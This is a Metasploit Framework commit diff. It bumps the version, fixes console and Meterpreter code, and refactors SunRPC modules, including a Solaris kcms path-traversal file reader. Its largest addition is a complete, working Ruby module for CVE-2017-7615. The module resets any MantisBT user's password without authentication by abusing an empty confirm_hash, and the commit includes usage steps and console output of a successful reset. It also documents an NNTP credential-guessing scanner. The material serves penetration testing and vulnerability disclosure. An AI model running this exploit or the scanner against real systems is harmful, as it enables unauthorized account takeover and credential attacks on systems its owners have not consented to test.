Skip to content

Commit d6ee0ca

Browse files
author
dmaloney-r7
authored
Merge branch 'master' into kill-cucumber
2 parents dbef4ee + de23047 commit d6ee0ca

File tree

20 files changed

+424
-51
lines changed

20 files changed

+424
-51
lines changed

Gemfile.lock

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.15.0)
4+
metasploit-framework (4.15.1)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
## Vulnerable Application
2+
3+
MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded
4+
on
5+
[Sourceforge](https://sourceforge.net/projects/mantisbt/files/mantis-stable/).
6+
7+
## Verification Steps
8+
9+
1. Install the vulnerable software
10+
2. Start msfconsole
11+
3. Do: ```use auxiliary/admin/http/mantisbt_password_reset```
12+
4. Do: ```set rhost```
13+
5. Do: ```run```
14+
6. If the system is vulnerable, the module should tell you that the password
15+
was successfully changed.
16+
17+
## Scenarios
18+
19+
```
20+
msf > use auxiliary/admin/http/mantisbt_password_reset
21+
msf auxiliary(mantisbt_password_reset) > set rport 8082
22+
rport => 8082
23+
msf auxiliary(mantisbt_password_reset) > set rhost 127.0.0.1
24+
rhost => 127.0.0.1
25+
msf auxiliary(mantisbt_password_reset) > run
26+
27+
[+] Password successfully changed to 'ndOQTmhQ'.
28+
[*] Auxiliary module execution completed
29+
msf auxiliary(mantisbt_password_reset) >
30+
```
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
## Description
2+
3+
This module attempts to authenticate to NNTP services which support the AUTHINFO authentication extension.
4+
5+
This module supports AUTHINFO USER/PASS authentication, but does not support AUTHINFO GENERIC or AUTHINFO SASL authentication methods.
6+
7+
If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
8+
9+
10+
## Vulnerable Application
11+
12+
This module has been tested successfully on:
13+
14+
* [SurgeNews](http://netwinsite.com/surgenews/) on Windows 7 SP 1.
15+
* [SurgeNews](http://netwinsite.com/surgenews/) on Ubuntu Linux.
16+
* [INN2](https://www.eyrie.org/~eagle/faqs/inn.html) on Debian Linux.
17+
18+
19+
## Verification Steps
20+
21+
1. Do: `use auxiliary/scanner/nntp/nntp_login`
22+
2. Do: `set RHOSTS [IP]`
23+
3. Do: `set RPORT [IP]`
24+
4. Do: `run`
25+
26+
27+
## Scenarios
28+
29+
```
30+
msf auxiliary(nntp_login) > run
31+
32+
[+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'asdf' : 'asdf'
33+
[+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'zxcv' : 'zxcv'
34+
[+] 172.16.191.166:119 - 172.16.191.166:119 Successful login with: 'test' : 'test'
35+
[*] Scanned 1 of 2 hosts (50% complete)
36+
[+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'asdf' : 'asdf'
37+
[+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'admin' : 'admin'
38+
[+] 172.16.191.213:119 - 172.16.191.213:119 Successful login with: 'user' : 'pass'
39+
[*] Scanned 2 of 2 hosts (100% complete)
40+
[*] Auxiliary module execution completed
41+
```
42+

lib/metasploit/framework/version.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def self.get_hash
3030
end
3131
end
3232

33-
VERSION = "4.15.0"
33+
VERSION = "4.15.1"
3434
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
3535
PRERELEASE = 'dev'
3636
HASH = get_hash

lib/msf/core/exploit/sunrpc.rb

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -16,8 +16,6 @@ module Msf
1616
module Exploit::Remote::SunRPC
1717
include Exploit::Remote::Tcp
1818

19-
XDR = Rex::Encoder::XDR
20-
2119
MSG_ACCEPTED = 0
2220
SUCCESS = 0 # RPC executed successfully
2321
PROG_UMAVAIL = 1 # Remote hasn't exported program
@@ -72,7 +70,7 @@ def sunrpc_create(protocol, program, version, time_out = timeout)
7270
ret = rpcobj.create
7371
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret
7472

75-
arr = XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
73+
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
7674
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
7775
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
7876
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED

lib/msf/ui/console/command_dispatcher/resource.rb

Lines changed: 14 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -37,8 +37,8 @@ def name
3737
def cmd_resource_help
3838
print_line "Usage: resource path1 [path2 ...]"
3939
print_line
40-
print_line "Run the commands stored in the supplied files. Resource files may also contain"
41-
print_line "ruby code between <ruby></ruby> tags."
40+
print_line "Run the commands stored in the supplied files (- for stdin)."
41+
print_line "Resource files may also contain ERB or Ruby code between <ruby></ruby> tags."
4242
print_line
4343
print_line "See also: makerc"
4444
print_line
@@ -52,21 +52,23 @@ def cmd_resource(*args)
5252

5353
args.each do |res|
5454
good_res = nil
55-
if ::File.exist?(res)
55+
if res == '-'
56+
good_res = res
57+
elsif ::File.exist?(res)
5658
good_res = res
5759
elsif
5860
# let's check to see if it's in the scripts/resource dir (like when tab completed)
59-
[
60-
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
61-
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
62-
].each do |dir|
63-
res_path = dir + ::File::SEPARATOR + res
64-
if ::File.exist?(res_path)
65-
good_res = res_path
66-
break
61+
[
62+
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
63+
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
64+
].each do |dir|
65+
res_path = dir + ::File::SEPARATOR + res
66+
if ::File.exist?(res_path)
67+
good_res = res_path
68+
break
69+
end
6770
end
6871
end
69-
end
7072
if good_res
7173
driver.load_resource(good_res)
7274
else

lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -373,7 +373,7 @@ def File.download_file(dest_file, src_file, opts = nil, &stat)
373373
end
374374

375375
# Keep transferring until EOF is reached...
376-
block_size = opts['block_size'] || 1024 * 1024
376+
block_size = (opts && opts['block_size']) || 1024 * 1024
377377
begin
378378
if tries
379379
# resume when timeouts encountered
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
## Current source: https://github.com/rapid7/metasploit-framework
4+
###
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
def initialize(info={})
10+
super(update_info(info,
11+
'Name' => "MantisBT password reset",
12+
'Description' => %q{
13+
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.
14+
},
15+
'License' => MSF_LICENSE,
16+
'Author' =>
17+
[
18+
'John (hyp3rlinx) Page', # initial discovery
19+
'Julien (jvoisin) Voisin' # metasploit module
20+
],
21+
'References' =>
22+
[
23+
['CVE', '2017-7615'],
24+
['EDB', '41890'],
25+
['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],
26+
['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']
27+
],
28+
'Platform' => ['win', 'linux'],
29+
'DisclosureDate' => "Apr 16 2017"))
30+
31+
register_options(
32+
[
33+
OptString.new('USERID', [ true, 'User id to reset', 1]),
34+
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),
35+
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])
36+
]
37+
)
38+
end
39+
40+
def check
41+
begin
42+
res = send_request_cgi({
43+
'uri' => normalize_uri(target_uri.path, '/login_page.php'),
44+
'method'=>'GET'
45+
})
46+
47+
if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')
48+
vprint_status("MantisBT detected")
49+
return Exploit::CheckCode::Detected
50+
else
51+
vprint_status("Not a MantisBT Instance!")
52+
return Exploit::CheckCode::Safe
53+
end
54+
55+
rescue Rex::ConnectionRefused
56+
print_error("Connection refused by server.")
57+
return Exploit::CheckCode::Safe
58+
end
59+
end
60+
61+
def run
62+
res = send_request_cgi({
63+
'uri' => normalize_uri(target_uri.path, '/verify.php'),
64+
'method' => 'GET',
65+
'vars_get' => {
66+
'id' => datastore['USERID'],
67+
'confirm_hash' => ''
68+
}
69+
})
70+
71+
if !res || !res.body
72+
fail_with(Failure::UnexpectedReply, "Error in server response. Ensure the server IP is correct.")
73+
end
74+
75+
cookie = res.get_cookies
76+
77+
if cookie == '' || !(res.body.include? 'Your account information has been verified.')
78+
fail_with(Failure::NoAccess, "Authentication failed")
79+
end
80+
81+
82+
if datastore['PASSWORD'].blank?
83+
password = Rex::Text.rand_text_alpha(8)
84+
else
85+
password = datastore['PASSWORD']
86+
end
87+
88+
if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/
89+
token = $1
90+
else
91+
fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')
92+
end
93+
94+
res = send_request_cgi({
95+
'uri' => normalize_uri(target_uri.path, '/account_update.php'),
96+
'method' => 'POST',
97+
'vars_post' => {
98+
'verify_user_id' => datastore['USERID'],
99+
'account_update_token' => $1,
100+
'realname' => Rex::Text.rand_text_alpha(rand(5) + 8),
101+
'password' => password,
102+
'password_confirm' => password
103+
},
104+
'cookie' => cookie
105+
})
106+
107+
if res && res.body && res.body.include?('Password successfully updated')
108+
print_good("Password successfully changed to '#{password}'.")
109+
else
110+
fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')
111+
end
112+
end
113+
end

modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -66,14 +66,14 @@ def run
6666

6767
# Prepare the traversing request for kcms_server
6868
trav = 'TT_DB/' + ('../' * 5) + path
69-
buf = XDR.encode(
69+
buf = Rex::Encoder::XDR.encode(
7070
[trav, 1024],
7171
0, # O_RDONLY
7272
0755) # mode
7373

7474
# Make the request
7575
ret = sunrpc_call(1003, buf)
76-
ack, fsize, fd = XDR.decode!(ret, Integer, Integer, Integer)
76+
ack, fsize, fd = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer)
7777

7878
if (ack != 0)
7979
print_error("KCMS open() failed (ack: 0x%x != 0)" % ack)
@@ -88,13 +88,13 @@ def run
8888
print_status("fd: #{fd}, file size #{fsize}")
8989

9090
print_status("Making read() request to the kcms_server...")
91-
buf = XDR.encode(
91+
buf = Rex::Encoder::XDR.encode(
9292
fd,
9393
0,
9494
fsize)
9595

9696
ret = sunrpc_call(1005, buf)
97-
x, data = XDR.decode!(ret, Integer, [Integer])
97+
x, data = Rex::Encoder::XDR.decode!(ret, Integer, [Integer])
9898

9999
# If we got something back...
100100
if (data)
@@ -118,7 +118,7 @@ def run
118118

119119
# Close it regardless if it returned anything..
120120
print_status("Making close() request to the kcms_server...")
121-
buf = XDR.encode(fd)
121+
buf = Rex::Encoder::XDR.encode(fd)
122122
sunrpc_call(1004, buf)
123123

124124
# done
@@ -138,7 +138,7 @@ def run
138138
def ttdb_build(path)
139139
sunrpc_create('tcp', 100083, 1)
140140
sunrpc_authunix('localhost', 0, 0, [])
141-
msg = XDR.encode(
141+
msg = Rex::Encoder::XDR.encode(
142142
[path, 1024],
143143
path.length,
144144
1, # KEY (VArray head?)
@@ -152,7 +152,7 @@ def ttdb_build(path)
152152
0x10002,
153153
path.length)
154154
ret = sunrpc_call(3, msg)
155-
arr = XDR.decode!(ret, Integer, Integer)
155+
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)
156156
print_status("TTDB reply: 0x%x, %d" % arr)
157157
sunrpc_destroy
158158
end

modules/auxiliary/scanner/misc/sunrpc_portmapper.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,8 +40,8 @@ def run_host(ip)
4040
progs = resp[3, 1].unpack('C')[0]
4141
maps = []
4242
if (progs == 0x01)
43-
while XDR.decode_int!(resp) == 1
44-
maps << XDR.decode!(resp, Integer, Integer, Integer, Integer)
43+
while Rex::Encoder::XDR.decode_int!(resp) == 1
44+
maps << Rex::Encoder::XDR.decode!(resp, Integer, Integer, Integer, Integer)
4545
end
4646
end
4747
sunrpc_destroy

0 commit comments

Comments
 (0)